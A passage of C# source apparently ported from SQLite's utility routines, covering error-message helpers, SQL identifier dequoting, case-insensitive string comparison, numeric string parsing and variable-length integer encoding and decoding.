a string\n    **      %z      A string that should be freed after use\n    **      %d      Insert an integer\n    **      %T      Insert a token\n    **      %S      Insert the first element of a SrcList\n    **\n    ** This function should be used to report any error that occurs whilst\n    ** compiling an SQL statement (i.e. within sqlite3_prepare()). The\n    ** last thing the sqlite3_prepare() function does is copy the error\n    ** stored by this function into the database handle using sqlite3Error().\n    ** Function sqlite3Error() should be used during statement execution\n    ** (sqlite3_step() etc.).\n    */\n    static void sqlite3ErrorMsg( Parse pParse, string zFormat, params object[] ap )\n    {\n      //va_list ap;\n      sqlite3 db = pParse.db;\n      pParse.nErr++;\n      //sqlite3DbFree( db, ref pParse.zErrMsg );\n      va_start( ap, zFormat );\n      pParse.zErrMsg = sqlite3VMPrintf( db, zFormat, ap );\n      va_end( ap );\n      pParse.rc = SQLITE_ERROR;\n    }\n\n    /*\n    ** Clear the error message in pParse, if any\n    */\n    static void sqlite3ErrorClear( Parse pParse )\n    {\n      //sqlite3DbFree( pParse.db, ref  pParse.zErrMsg );\n      pParse.nErr = 0;\n    }\n\n    /*\n    ** Convert an SQL-style quoted string into a normal string by removing\n    ** the quote characters.  The conversion is done in-place.  If the\n    ** input does not begin with a quote character, then this routine\n    ** is a no-op.\n    **\n    ** The input string must be zero-terminated.  A new zero-terminator\n    ** is added to the dequoted string.\n    **\n    ** The return value is -1 if no dequoting occurs or the length of the\n    ** dequoted string, exclusive of the zero terminator, if dequoting does\n    ** occur.\n    **\n    ** 2002-Feb-14: This routine is extended to remove MS-Access style\n    ** brackets from around identifers.  For example:  \"[a-b-c]\" becomes\n    ** \"a-b-c\".\n    */\n    static int sqlite3Dequote( ref string z )\n    {\n      char quote;\n      int i;\n      if ( z == null || z == \"\" ) return -1;\n      quote = z[0];\n      switch ( quote )\n      {\n        case '\\'': break;\n        case '\"': break;\n        case '`': break;                /* For MySQL compatibility */\n        case '[': quote = ']'; break;  /* For MS SqlServer compatibility */\n        default: return -1;\n      }\n      StringBuilder sbZ = new StringBuilder( z.Length );\n      for ( i = 1 ; i < z.Length ; i++ ) //z[i] != 0; i++)\n      {\n        if ( z[i] == quote )\n        {\n          if ( i < z.Length - 1 && ( z[i + 1] == quote ) )\n          {\n            sbZ.Append( quote );\n            i++;\n          }\n          else\n          {\n            break;\n          }\n        }\n        else\n        {\n          sbZ.Append( z[i] );\n        }\n      }\n      z = sbZ.ToString();\n      return sbZ.Length;\n    }\n\n    /* Convenient short-hand */\n    //#define UpperToLower sqlite3UpperToLower\n    static int[] UpperToLower;\n\n    /*\n    ** Some systems have stricmp().  Others have strcasecmp().  Because\n    ** there is no consistency, we will define our own.\n    */\n\n    static int sqlite3StrICmp( string zLeft, string zRight )\n    {\n      //register unsigned char *a, *b;\n      //a = (unsigned char *)zLeft;\n      //b = (unsigned char *)zRight;\n      //while( *a!=0 && UpperToLower[*a]==UpperToLower[*b]){ a++; b++; }\n      //return UpperToLower[*a] - UpperToLower[*b];\n      int a = 0, b = 0;\n      while ( a < zLeft.Length && b < zRight.Length && UpperToLower[zLeft[a]] == UpperToLower[zRight[b]] ) { a++; b++; }\n      if ( a == zLeft.Length && b == zRight.Length ) return 0;\n      else\n      {\n        if ( a == zLeft.Length ) return -UpperToLower[zRight[b]];\n        if ( b == zRight.Length ) return UpperToLower[zLeft[a]];\n        return UpperToLower[zLeft[a]] - UpperToLower[zRight[b]];\n      }\n    }\n\n    static int sqlite3_strnicmp( string zLeft, int offsetLeft, string zRight, int N )\n    { return sqlite3StrNICmp(  zLeft,  offsetLeft,  zRight,  N );}\n\n    static int sqlite3StrNICmp( string zLeft, int offsetLeft, string zRight, int N )\n    {\n      //register unsigned char *a, *b;\n      //a = (unsigned char *)zLeft;\n      //b = (unsigned char *)zRight;\n      int a = 0, b = 0;\n      while ( N-- > 0 && zLeft[a + offsetLeft] != 0 && UpperToLower[zLeft[a + offsetLeft]] == UpperToLower[zRight[b]] ) { a++; b++; }\n      return N < 0 ? 0 : UpperToLower[zLeft[a + offsetLeft]] - UpperToLower[zRight[b]];\n    }\n\n    static int sqlite3StrNICmp( string zLeft, string zRight, int N )\n    {\n      //register unsigned char *a, *b;\n      //a = (unsigned char *)zLeft;\n      //b = (unsigned char *)zRight;\n      int a = 0, b = 0;\n      while ( N-- > 0 && ( zLeft[a] == zRight[b] || ( zLeft[a] != 0 && zLeft[a] < 256 && zRight[b] < 256 && UpperToLower[zLeft[a]] == UpperToLower[zRight[b]] ) ) ) { a++; b++; }\n      if ( N < 0 ) return 0;\n      else if ( zLeft[a] < 256 && zRight[b] < 256 ) return UpperToLower[zLeft[a]] - UpperToLower[zRight[b]];\n      else return zLeft[a] - zRight[b];\n    }\n\n    /*\n    ** Return TRUE if z is a pure numeric string.  Return FALSE and leave\n    ** *realnum unchanged if the string contains any character which is not\n    ** part of a number.\n    **\n    ** If the string is pure numeric, set *realnum to TRUE if the string\n    ** contains the '.' character or an \"E+000\" style exponentiation suffix.\n    ** Otherwise set *realnum to FALSE.  Note that just becaue *realnum is\n    ** false does not mean that the number can be successfully converted into\n    ** an integer - it might be too big.\n    **\n    ** An empty string is considered non-numeric.\n    */\n    static int sqlite3IsNumber( string z, ref int realnum, int enc )\n    {\n      if ( String.IsNullOrEmpty( z ) ) return 0;\n      int incr = ( enc == SQLITE_UTF8 ? 1 : 2 );\n      int zIndex = 0;\n      if ( enc == SQLITE_UTF16BE ) zIndex++;// z++;\n      if ( z[zIndex] == '-' || z[zIndex] == '+' ) zIndex += incr;//z += incr;\n      if ( zIndex == z.Length || !sqlite3Isdigit( z[zIndex] ) )\n      {\n        return 0;\n      }\n      zIndex += incr;//z += incr;\n      realnum = 0;\n      while ( zIndex < z.Length && sqlite3Isdigit( z[zIndex] ) ) { zIndex += incr; }//z += incr; }\n      if ( zIndex < z.Length && z[zIndex] == '.' )\n      {\n        zIndex += incr;//z += incr;\n        if ( !sqlite3Isdigit( z[zIndex] ) ) return 0;\n        while ( zIndex < z.Length && sqlite3Isdigit( z[zIndex] ) ) { zIndex += incr; }//z += incr; }\n        realnum = 1;\n      }\n      if ( zIndex < z.Length && ( z[zIndex] == 'e' || z[zIndex] == 'E' ) )\n      {\n        zIndex += incr;//z += incr;\n        if ( zIndex < z.Length && ( z[zIndex] == '+' || z[zIndex] == '-' ) ) zIndex += incr;//z += incr;\n        if ( zIndex == z.Length || !sqlite3Isdigit( z[zIndex] ) ) return 0;\n        while ( zIndex < z.Length && sqlite3Isdigit( z[zIndex] ) ) { zIndex += incr; }//z += incr; }\n        realnum = 1;\n      }\n      return zIndex == z.Length ? 1 : 0;// z[zIndex] == 0;\n    }\n\n    /*\n    ** The string z[] is an ascii representation of a real number.\n    ** Convert this string to a double.\n    **\n    ** This routine assumes that z[] really is a valid number.  If it\n    ** is not, the result is undefined.\n    **\n    ** This routine is used instead of the library atof() function because\n    ** the library atof() might want to use \",\" as the decimal point instead\n    ** of \".\" depending on how locale is set.  But that would cause problems\n    ** for SQL.  So this routine always uses \".\" regardless of locale.\n    */\n    static int sqlite3AtoF( string z, ref double pResult )\n    {\n#if !SQLITE_OMIT_FLOATING_POINT\n      z = z.Trim() + \" \";\n      int zDx = 0;\n      int sign = 1;\n      double v1 = 0.0;\n      int nSignificant = 0;\n      if ( z.Length > 1 )\n      {\n        while ( sqlite3Isspace( z[zDx] ) ) zDx++;\n        if ( z[zDx] == '-' )\n        {\n          sign = -1;\n          zDx++;\n        }\n        else if ( z[zDx] == '+' )\n        {\n          zDx++;\n        }\n        while ( z[zDx] == '0' )\n        {\n          zDx++;\n        }\n        while ( sqlite3Isdigit( z[zDx] ) )\n        {\n          v1 = v1 * 10.0 + ( z[zDx] - '0' );\n          zDx++;\n          nSignificant++;\n        }\n        if ( z[zDx] == '.' )\n        {\n          double divisor = 1.0;\n          zDx++;\n          if ( nSignificant == 0 )\n          {\n            while ( z[zDx] == '0' )\n            {\n              divisor *= 10.0;\n              zDx++;\n            }\n          }\n          while ( sqlite3Isdigit( z[zDx] ) )\n          {\n            if ( nSignificant < 18 )\n            {\n              v1 = v1 * 10.0 + ( z[zDx] - '0' );\n              divisor *= 10.0;\n              nSignificant++;\n            }\n            zDx++;\n          }\n          if ( Double.IsInfinity( divisor ) )\n          { if ( !Double.TryParse( z.Substring( 0, zDx ), out v1 ) ) v1 = 0; }\n          else v1 /= divisor;\n        }\n        if ( z[zDx] == 'e' || z[zDx] == 'E' )\n        {\n          int esign = 1;\n          int eval = 0;\n          double scale = 1.0;\n          zDx++;\n          if ( z[zDx] == '-' )\n          {\n            esign = -1;\n            zDx++;\n          }\n          else if ( z[zDx] == '+' )\n          {\n            zDx++;\n          }\n          while ( sqlite3Isdigit( z[zDx] ) )\n          {\n            eval = eval * 10 + z[zDx] - '0';\n            zDx++;\n          }\n          while ( eval >= 64 ) { scale *= 1.0e+64; eval -= 64; }\n          while ( eval >= 16 ) { scale *= 1.0e+16; eval -= 16; }\n          while ( eval >= 4 ) { scale *= 1.0e+4; eval -= 4; }\n          while ( eval >= 1 ) { scale *= 1.0e+1; eval -= 1; }\n          if ( esign < 0 )\n          {\n            v1 /= scale;\n          }\n          else\n          {\n            v1 *= scale;\n          }\n        }\n      }\n      pResult = (double)( sign < 0 ? -v1 : v1 );\n      return (int)( zDx );\n#else\nreturn sqlite3Atoi64(z, pResult);\n#endif //* SQLITE_OMIT_FLOATING_POINT */\n    }\n\n    /*\n    ** Compare the 19-character string zNum against the text representation\n    ** value 2^63:  9223372036854775808.  Return negative, zero, or positive\n    ** if zNum is less than, equal to, or greater than the string.\n    **\n    ** Unlike memcmp() this routine is guaranteed to return the difference\n    ** in the values of the last digit if the only difference is in the\n    ** last digit.  So, for example,\n    **\n    **      compare2pow63(\"9223372036854775800\")\n    **\n    ** will return -8.\n    */\n    static int compare2pow63( string zNum )\n    {\n      int c;\n      if ( zNum.Length <= 18 )\n        c = string.Compare( zNum, \"922337203685477580\" );\n      else\n      {\n        c = ( string.Compare( zNum.Substring( 0, 18 ), \"922337203685477580\" ) == 1 ) ? 10 : 0;\n        if ( c == 0 )\n        {\n          c = zNum[18] - '8';\n        }\n      }\n      return c;\n    }\n\n\n    /*\n    ** Return TRUE if zNum is a 64-bit signed integer and write\n    ** the value of the integer into pNum.  If zNum is not an integer\n    ** or is an integer that is too large to be expressed with 64 bits,\n    ** then return false.\n    **\n    ** When this routine was originally written it dealt with only\n    ** 32-bit numbers.  At that time, it was much faster than the\n    ** atoi() library routine in RedHat 7.2.\n    */\n    static bool sqlite3Atoi64( string zNum, ref i64 pNum )\n    {\n      zNum = zNum.Trim() + \" \";\n      int i;\n      for ( i = 1 ; i < zNum.Length ; i++ ) if ( !sqlite3Isdigit( zNum[i] ) ) break;\n      return Int64.TryParse( zNum.Substring( 0, i ), out pNum\n      );\n      //i64 v = 0;\n      //int neg;\n      //int i, c;\n      //const char *zStart;\n      //while( sqlite3Isspace(*(u8*)zNum) ) zNum++;\n      //if( *zNum=='-' ){\n      //  neg = 1;\n      //  zNum++;\n      //}else if( *zNum=='+' ){\n      //  neg = 0;\n      //  zNum++;\n      //}else{\n      //  neg = 0;\n      //}\n      //zStart = zNum;\n      //while( zNum[0]=='0' ){ zNum++; } /* Skip over leading zeros. Ticket #2454 */\n      //for(i=0; (c=zNum[i])>='0' && c<='9'; i++){\n      //  v = v*10 + c - '0';\n      //}\n      //*pNum = neg ? -v : v;\n      //if( c!=0 || (i==0 && zStart==zNum) || i>19 ){\n      //  /* zNum is empty or contains non-numeric text or is longer\n      //  ** than 19 digits (thus guaranting that it is too large) */\n      //  return 0;\n      //}else if( i<19 ){\n      //  /* Less than 19 digits, so we know that it fits in 64 bits */\n      //  return 1;\n      //}else{\n      //  /* 19-digit numbers must be no larger than 9223372036854775807 if positive\n      //  ** or 9223372036854775808 if negative.  Note that 9223372036854665808\n      //  ** is 2^63. */\n      //  return compare2pow63(zNum)<neg;\n      //}\n    }\n\n    /*\n    ** The string zNum represents an unsigned integer.  The zNum string\n    ** consists of one or more digit characters and is terminated by\n    ** a zero character.  Any stray characters in zNum result in undefined\n    ** behavior.\n    **\n    ** If the unsigned integer that zNum represents will fit in a\n    ** 64-bit signed integer, return TRUE.  Otherwise return FALSE.\n    **\n    ** If the negFlag parameter is true, that means that zNum really represents\n    ** a negative number.  (The leading \"-\" is omitted from zNum.)  This\n    ** parameter is needed to determine a boundary case.  A string\n    ** of \"9223373036854775808\" returns false if negFlag is false or true\n    ** if negFlag is true.\n    **\n    ** Leading zeros are ignored.\n    */\n    static bool sqlite3FitsIn64Bits( string zNum, bool negFlag )\n    {\n      Int64 pNum;\n      Debug.Assert( zNum[0] >= '0' && zNum[0] <= '9' ); /* zNum is an unsigned number */\n      bool result = negFlag ? Int64.TryParse( \"-\" + zNum, out pNum ) : Int64.TryParse( zNum, out pNum );\n      // if ( result && negFlag && pNum == Int64.MaxValue  ) result = false;\n      return result;\n      //int i;\n      //int neg = 0;\n      //if (negFlag != 0) neg = 1 - neg;\n      //while (*zNum == '0')\n      //{\n      //  zNum++;   /* Skip leading zeros.  Ticket #2454 */\n      //}\n      //for (i = 0;  zNum[i]; i++){ assert( zNum[i]>='0' && zNum[i]<='9' ); }\n      //if (i < 19)\n      //{\n      /* Guaranteed to fit if less than 19 digits */\n      //  return 1;\n      //}\n      //else if (i > 19)\n      //{\n      /* Guaranteed to be too big if greater than 19 digits */\n      //  return 0;\n      //}\n      //else\n      //{\n      /* Compare against 2^63. */\n      //  if (compare2pow63(new string(zNum)) < neg) return 1; else return 0;\n      //}\n    }\n\n    /*\n    ** If zNum represents an integer that will fit in 32-bits, then set\n    ** pValue to that integer and return true.  Otherwise return false.\n    **\n    ** Any non-numeric characters that following zNum are ignored.\n    ** This is different from sqlite3Atoi64() which requires the\n    ** input number to be zero-terminated.\n    */\n    static bool sqlite3GetInt32( string zNum, ref int pValue )\n    {\n      sqlite_int64 v = 0;\n      int iZnum = 0;\n      int i, c;\n      int neg = 0;\n      if ( zNum[iZnum] == '-' )\n      {\n        neg = 1;\n        iZnum++;\n      }\n      else if ( zNum[iZnum] == '+' )\n      {\n        iZnum++;\n      }\n      while ( iZnum < zNum.Length && zNum[iZnum] == '0' ) iZnum++;\n      for ( i = 0 ; i < 11 && i + iZnum < zNum.Length && ( c = zNum[iZnum + i] - '0' ) >= 0 && c <= 9 ; i++ )\n      {\n        v = v * 10 + c;\n      }\n\n      /* The longest decimal representation of a 32 bit integer is 10 digits:\n      **\n      **             1234567890\n      **     2^31 . 2147483648\n      */\n      if ( i > 10 )\n      {\n        return false;\n      }\n      if ( v - neg > 2147483647 )\n      {\n        return false;\n      }\n      if ( neg != 0 )\n      {\n        v = -v;\n      }\n      pValue = (int)v;\n      return true;\n    }\n\n    /*\n    ** The variable-length integer encoding is as follows:\n    **\n    ** KEY:\n    **         A = 0xxxxxxx    7 bits of data and one flag bit\n    **         B = 1xxxxxxx    7 bits of data and one flag bit\n    **         C = xxxxxxxx    8 bits of data\n    **\n    **  7 bits - A\n    ** 14 bits - BA\n    ** 21 bits - BBA\n    ** 28 bits - BBBA\n    ** 35 bits - BBBBA\n    ** 42 bits - BBBBBA\n    ** 49 bits - BBBBBBA\n    ** 56 bits - BBBBBBBA\n    ** 64 bits - BBBBBBBBC\n    */\n\n    /*\n    ** Write a 64-bit variable-length integer to memory starting at p[0].\n    ** The length of data write will be between 1 and 9 bytes.  The number\n    ** of bytes written is returned.\n    **\n    ** A variable-length integer consists of the lower 7 bits of each byte\n    ** for all bytes that have the 8th bit set and one byte with the 8th\n    ** bit clear.  Except, if we get to the 9th byte, it stores the full\n    ** 8 bits and is the last byte.\n    */\n    static int getVarint( byte[] p, ref u32 v )\n    {\n      v = p[0];\n      if ( v <= 0x7F ) return 1;\n      u64 u64_v = 0;\n      int result = sqlite3GetVarint( p, 0, ref u64_v );\n      v = (u32)u64_v;\n      return result;\n    }\n    static int getVarint( byte[] p, int offset, ref u32 v )\n    {\n      v = p[offset + 0];\n      if ( v <= 0x7F ) return 1;\n      u64 u64_v = 0;\n      int result = sqlite3GetVarint( p, offset, ref u64_v );\n      v = (u32)u64_v;\n      return result;\n    }\n    static int getVarint( byte[] p, int offset, ref int v )\n    {\n      v = p[offset + 0];\n      if ( v <= 0x7F ) return 1;\n      u64 u64_v = 0;\n      int result = sqlite3GetVarint( p, offset, ref u64_v );\n      v = (int)u64_v;\n      return result;\n    }\n    static int getVarint( byte[] p, int offset, ref i64 v )\n    {\n      v = p[offset + 0];\n      if ( v <= 0x7F ) return 1;\n      u64 u64_v = 0;\n      int result = sqlite3GetVarint( p, offset, ref u64_v );\n      v = (i64)u64_v;\n      return result;\n    }\n    static int getVarint( byte[] p, int offset, ref u64 v )\n    {\n      v = p[offset + 0];\n      if ( v <= 0x7F ) return 1;\n      int result = sqlite3GetVarint( p, offset, ref v );\n      return result;\n    }\n    static int getVarint32( byte[] p, ref u32 v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = p[0];\n      if ( v <= 0x7F ) return 1;\n      return sqlite3GetVarint32( p, 0, ref v );\n    }\n    static int getVarint32( string s, u32 offset, ref int v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = s[(int)offset];\n      if ( v <= 0x7F ) return 1;\n      byte[] p = new byte[4];\n      p[0] = (u8)s[(int)offset + 0];\n      p[1] = (u8)s[(int)offset + 1];\n      p[2] = (u8)s[(int)offset + 2];\n      p[3] = (u8)s[(int)offset + 3];\n      u32 u32_v = 0;\n      int result = sqlite3GetVarint32( p, 0, ref u32_v );\n      v = (int)u32_v;\n      return sqlite3GetVarint32( p, 0, ref v );\n    }\n    static int getVarint32( string s, u32 offset, ref u32 v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = s[(int)offset];\n      if ( v <= 0x7F ) return 1;\n      byte[] p = new byte[4];\n      p[0] = (u8)s[(int)offset + 0];\n      p[1] = (u8)s[(int)offset + 1];\n      p[2] = (u8)s[(int)offset + 2];\n      p[3] = (u8)s[(int)offset + 3];\n      return sqlite3GetVarint32( p, 0, ref v );\n    }\n    static int getVarint32( byte[] p, u32 offset, ref u32 v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = p[offset];\n      if ( v <= 0x7F ) return 1;\n      return sqlite3GetVarint32( p, (int)offset, ref v );\n    }\n    static int getVarint32( byte[] p, int offset, ref u32 v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = p[offset];\n      if ( v <= 0x7F ) return 1;\n      return sqlite3GetVarint32( p, offset, ref v );\n    }\n    static int getVarint32( byte[] p, int offset, ref int v )\n    { //(*B=*(A))<=0x7f?1:sqlite3GetVarint32(A,B))\n      v = p[offset + 0];\n      if ( v <= 0x7F ) return 1;\n      u32 u32_v = 0;\n      int result = sqlite3GetVarint32( p, offset, ref u32_v );\n      v = (int)u32_v;\n      return result;\n    }\n    static int putVarint( byte[] p, int offset, int v )\n    { return putVarint( p, offset, (u64)v ); }\n    static int putVarint( byte[] p, int offset, u64 v )\n    {\n      return sqlite3PutVarint( p, offset, v );\n    }\n    static int sqlite3PutVarint( byte[] p, int offset, int v )\n    { return sqlite3PutVarint( p, offset, (u64)v ); }\n    static int sqlite3PutVarint( byte[] p, int offset, u64 v )\n    {\n      int i, j, n;\n      u8[] buf = new u8[10];\n      if ( ( v & ( ( (u64)0xff000000 ) << 32 ) ) != 0 )\n      {\n        p[offset + 8] = (byte)v;\n        v >>= 8;\n        for ( i = 7 ; i >= 0 ; i-- )\n        {\n          p[offset + i] = (byte)( ( v & 0x7f ) | 0x80 );\n          v >>= 7;\n        }\n        return 9;\n      }\n      n = 0;\n      do\n      {\n        buf[n++] = (byte)( ( v & 0x7f ) | 0x80 );\n        v >>= 7;\n      } while ( v != 0 );\n      buf[0] &= 0x7f;\n      Debug.Assert( n <= 9 );\n      for ( i = 0, j = n - 1 ; j >= 0 ; j--, i++ )\n      {\n        p[offset + i] = buf[j];\n      }\n      return n;\n    }\n\n    /*\n    ** This routine is a faster version of sqlite3PutVarint() that only\n    ** works for 32-bit positive integers and which is optimized for\n    ** the common case of small integers.\n    */\n    static int putVarint32( byte[] p, int offset, int v )\n    {\n#if !putVarint32\n      if ( ( v & ~0x7f ) == 0 )\n      {\n        p[offset] = (byte)v;\n        return 1;\n      }\n#endif\n      if ( ( v & ~0x3fff ) == 0 )\n      {\n        p[offset] = (byte)( ( v >> 7 ) | 0x80 );\n        p[offset + 1] = (byte)( v & 0x7f );\n        return 2;\n      }\n      return sqlite3PutVarint( p, offset, v );\n    }\n\n    static int putVarint32( byte[] p, int v )\n    {\n      if ( ( v & ~0x7f ) == 0 )\n      {\n        p[0] = (byte)v;\n        return 1;\n      }\n      else if ( ( v & ~0x3fff ) == 0 )\n      {\n        p[0] = (byte)( ( v >> 7 ) | 0x80 );\n        p[1] = (byte)( v & 0x7f );\n        return 2;\n      }\n      else\n      {\n        return sqlite3PutVarint( p, 0, v );\n      }\n    }\n\n    /*\n    ** Read a 64-bit variable-length integer from memory starting at p[0].\n    ** Return the number of bytes read.  The value is stored in *v.\n    */\n    static u8 sqlite3GetVarint( byte[] p, int offset, ref u64 v )\n    {\n      u32 a, b, s;\n\n      a = p[offset + 0];\n      /* a: p0 (unmasked) */\n      if ( 0 == ( a & 0x80 ) )\n      {\n        v = a;\n        return 1;\n      }\n\n      //p++;\n      b = p[offset + 1];\n      /* b: p1 (unmasked) */\n      if ( 0 == ( b & 0x80 ) )\n      {\n        a &= 0x7f;\n        a = a << 7;\n        a |= b;\n        v = a;\n        return 2;\n      }\n\n      //p++;\n      a = a << 14;\n      a |= p[offset + 2];\n      /* a: p0<<14 | p2 (unmasked) */\n      if ( 0 == ( a & 0x80 ) )\n      {\n        a &= ( 0x7f << 14 ) | ( 0x7f );\n        b &= 0x7f;\n        b = b << 7;\n        a |= b;\n        v = a;\n        return 3;\n      }\n\n      /* CSE1 from below */\n      a &= ( 0x7f << 14 ) | ( 0x7f );\n      //p++;\n      b = b << 14;\n      b |= p[offset + 3];\n      /* b: p1<<14 | p3 (unmasked) */\n      if ( 0 == ( b & 0x80 ) )\n      {\n        b &= ( 0x7f << 14 ) | ( 0x7f );\n        /* moved CSE1 up */\n        /* a &= (0x7f<<14)|(0x7f); */\n        a = a << 7;\n        a |= b;\n        v = a;\n        return 4;\n      }\n\n      /* a: p0<<14 | p2 (masked) */\n      /* b: p1<<14 | p3 (unmasked) */\n      /* 1:save off p0<<21 | p1<<14 | p2<<7 | p3 (masked) */\n      /* moved CSE1 up */\n      /* a &= (0x7f<<14)|(0x7f); */\n      b &= ( 0x7f << 14 ) | ( 0x7f );\n      s = a;\n      /* s: p0<<14 | p2 (masked) */\n\n      //p++;\n      a = a << 14;\n      a |= p[offset + 4];\n      /* a: p0<<28 | p2<<14 | p4 (unmasked) */\n      if ( 0 == ( a & 0x80 ) )\n      {\n        /* we can skip these cause they were (effectively) done above in calc'ing s */\n        /* a &= (0x1f<<28)|(0x7f<<14)|(0x7f); */\n        /* b &= (0x7f<<14)|(0x7f); */\n        b = b << 7;\n        a |= b;\n        s = s >> 18;\n        v = ( (u64)s ) << 32 | a;\n        return 5;\n      }\n\n      /* 2:save off p0<<21 | p1<<14 | p2<<7 | p3 (masked) */\n      s = s << 7;\n      s |= b;\n      /* s: p0<<21 | p1<<14 | p2<<7 | p3 (masked) */\n\n      //p++;\n      b = b << 14;\n      b |= p[offset + 5];\n      /* b: p1<<28 | p3<<14 | p5 (unmasked) */\n      if ( 0 == ( b & 0x80 ) )\n      {\n        /* we can skip this cause it was (effectively) done above in calc'ing s */\n        /* b &= (0x1f<<28)|(0x7f<<14)|(0x7f); */\n        a &= ( 0x7f << 14 ) | ( 0x7f );\n        a = a << 7;\n        a |= b;\n        s = s >> 18;\n        v = ( (u64)s ) << 32 | a;\n        return 6;\n      }\n\n      //p++;\n      a = a << 14;\n      a |= p[offset + 6];\n      /* a: p2<<28 | p4<<14 | p6 (unmasked) */\n      if ( 0 == ( a & 0x80 ) )\n      {\n        a &= ( (u32)0x1f << 28 ) | ( 0x7f << 14 ) | ( 0x7f );\n        b &= ( 0x7f << 14 ) | ( 0x7f );\n        b = b << 7;\n        a |= b;\n        s = s >> 11;\n        v = ( (u64)s ) << 32 | a;\n        return 7;\n      }\n\n      /* CSE2 from below */\n      a &= ( 0x7f << 14 ) | ( 0x7f );\n      //p++;\n      b = b << 14;\n      b |= p[offset + 7];\n      /* b: p3<<28 | p5<<14 | p7 (unmasked) */\n      if ( 0 == ( b & 0x80 ) )\n      {\n        b &= ( (u32)0x1f << 28 ) | ( 0x7f << 14 ) | ( 0x7f );\n        /* moved CSE2 up */\n        /* a &= (0x7f<<14)|(0x7f); */\n        a = a << 7;\n        a |= b;\n        s = s >> 4;\n        v = ( (u64)s ) << 32 | a;\n        return 8;\n      }\n\n      //p++;\n      a = a << 15;\n      a |= p[offset + 8];\n      /* a: p4<<29 | p6<<15 | p8 (unmasked) */\n\n      /* moved CSE2 up */\n      /* a &= (0x7f<<29)|(0x7f<<15)|(0xff); */\n      b &= ( 0x7f << 14 ) | ( 0x7f );\n      b = b << 8;\n      a |= b;\n\n      s = s << 4;\n      b = p[offset + 4];\n      b &= 0x7f;\n      b = b >> 3;\n      s |= b;\n\n      v = ( (u64)s ) << 32 | a;\n\n      return 9;\n    }\n\n\n    /*\n    ** Read a 32-bit variable-length integer from memory starting at p[0].\n    ** Return the number of bytes read.  The value is stored in *v.\n    **\n    ** If the varint stored in p[0] is larger than can fit in a 32-bit unsigned\n    ** integer, then set *v to 0xffffffff.\n    **\n    ** A MACRO version, getVarint32, is provided which inlines the\n    ** single-byte case.  All code should use the MACRO version as\n    ** this function assumes the single-byte case has already been handled.\n    */\n    static u8 sqlite3GetVarint32( byte[] p, ref int v )\n    {\n      u32 u32_v = 0;\n      u8 result = sqlite3GetVarint32( p, 0, ref u32_v );\n      v = (int)u32_v;\n      return result;\n    }\n    static u8 sqlite3GetVarint32( byte[] p, int offset, ref int v )\n    {\n      u32 u32_v = 0;\n      u8 result = sqlite3GetVarint32( p, offset, ref u32_v );\n      v = (int)u32_v;\n      return result;\n    }\n    static u8 sqlite3GetVarint32( byte[] p, ref u32 v )\n    { return sqlite3GetVarint32( p, 0, ref v ); }\n    static u8 sqlite3GetVarint32( byte[] p, int offset, ref u32 v )\n    {\n      u32 a, b;\n\n      /* The 1-byte case.  Overwhelmingly the most common.  Handled inline\n      ** by the getVarin32() macro */\n      a = p[offset + 0];\n      /* a: p0 (unmasked) */\n      //#if getVarint32\n      //  if ( 0==( a&0x80))\n      //  {\n      /* Values between 0 and 127 */\n      //    v = a;\n      //    return 1;\n      //  }\n      //#endif\n\n      /* The 2-byte case */\n      //p++;\n      b = p[offset + 1];\n      /* b: p1 (unmasked) */\n      if ( 0 == ( b & 0x80 ) )\n      {\n        /* Values between 128 and 16383 */\n        a &= 0x7f;\n        a = a << 7;\n        v = a | b;\n        return 2;\n      }\n\n      /* The 3-byte case */\n      //p++;\n      a = a << 14;\n      a |= p[offset + 2];\n      /* a: p0<<14 | p2 (unmasked) */\n      if ( 0 == ( a & 0x80 ) )\n      {\n        /* Values between 16384 and 2097151 */\n        a &= ( 0x7f << 14 ) | ( 0x7f );\n        b &= 0x7f;\n        b = b << 7;\n        v = a | b;\n        return 3;\n      }\n\n      /* A 32-bit varint is used to store size information in btrees.\n      ** Objects are rarely larger than 2MiB limit of a 3-byte varint.\n      ** A 3-byte varint is sufficient, for example, to record the size\n      ** of a 1048569-byte BLOB or string.\n      **\n      ** We only unroll the first 1-, 2-, and 3- byte cases.  The very\n      ** rare larger cases can be handled by the slower 64-bit varint\n      ** routine.\n      */\n#if TRUE\n      {\n        u64 v64 = 0;\n        u8 n;\n\n        //p -= 2;\n        n = sqlite3GetVarint( p, offset, ref v64 );\n        Debug.Assert( n > 3 && n <= 9 );\n        if ( ( v64 & SQLITE_MAX_U32 ) != v64 )\n        {\n          v = 0xffffffff;\n        }\n        else\n        {\n          v = (u32)v64;\n        } return n;\n      }\n#else\n/* For following code (kept for historical record only) shows an\n** unrolling for the 3- and 4-byte varint cases.  This code is\n** slightly faster, but it is also larger and much harder to test.\n*/\n//p++;\nb = b << 14;\nb |= p[offset + 3];\n/* b: p1<<14 | p3 (unmasked) */\nif ( 0 == ( b & 0x80 ) )\n{\n/* Values between 2097152 and 268435455 */\nb &= ( 0x7f << 14 ) | ( 0x7f );\na &= ( 0x7f << 14 ) | ( 0x7f );\na = a << 7;\nv = a | b;\nreturn 4;\n}\n\n//p++;\na = a << 14;\na |= p[offset + 4];\n/* a: p0<<28 | p2<<14 | p4 (unmasked) */\nif ( 0 == ( a & 0x80 ) )\n{\n/* Values  between 268435456 and 34359738367 */\na &= ( (u32)0x1f << 28 ) | ( 0x7f << 14 ) | ( 0x7f );\nb &= ( (u32)0x1f << 28 ) | ( 0x7f << 14 ) | ( 0x7f );\nb = b << 7;\nv = a | b;\nreturn 5;\n}\n\n/* We can only reach this point when reading a corrupt database\n** file.  In that case we are not in any hurry.  Use the (relatively\n** slow) general-purpose sqlite3GetVarint() routine to extract the\n** value. */\n{\nu64 v64 = 0;\nint n;\n\n//p -= 4;\nn = sqlite3GetVarint( p, offset, ref v64 );\nDebug.Assert( n > 5 && n <= 9 );\nv = (u32)v64;\nreturn n;\n}\n#endif\n    }\n\n\n    /*\n    ** Return the number of bytes that will be needed to store the given\n    ** 64-bit integer.\n    */\n    static int sqlite3VarintLen( u64 v )\n    {\n      int i = 0;\n      do\n      {\n        i++;\n        v >>= 7;\n      } while ( v != 0 && ALWAYS( i < 9 ) );\n      return i;\n    }\n\n\n    /*\n    ** Read or write a four-byte big-endian integer value.\n   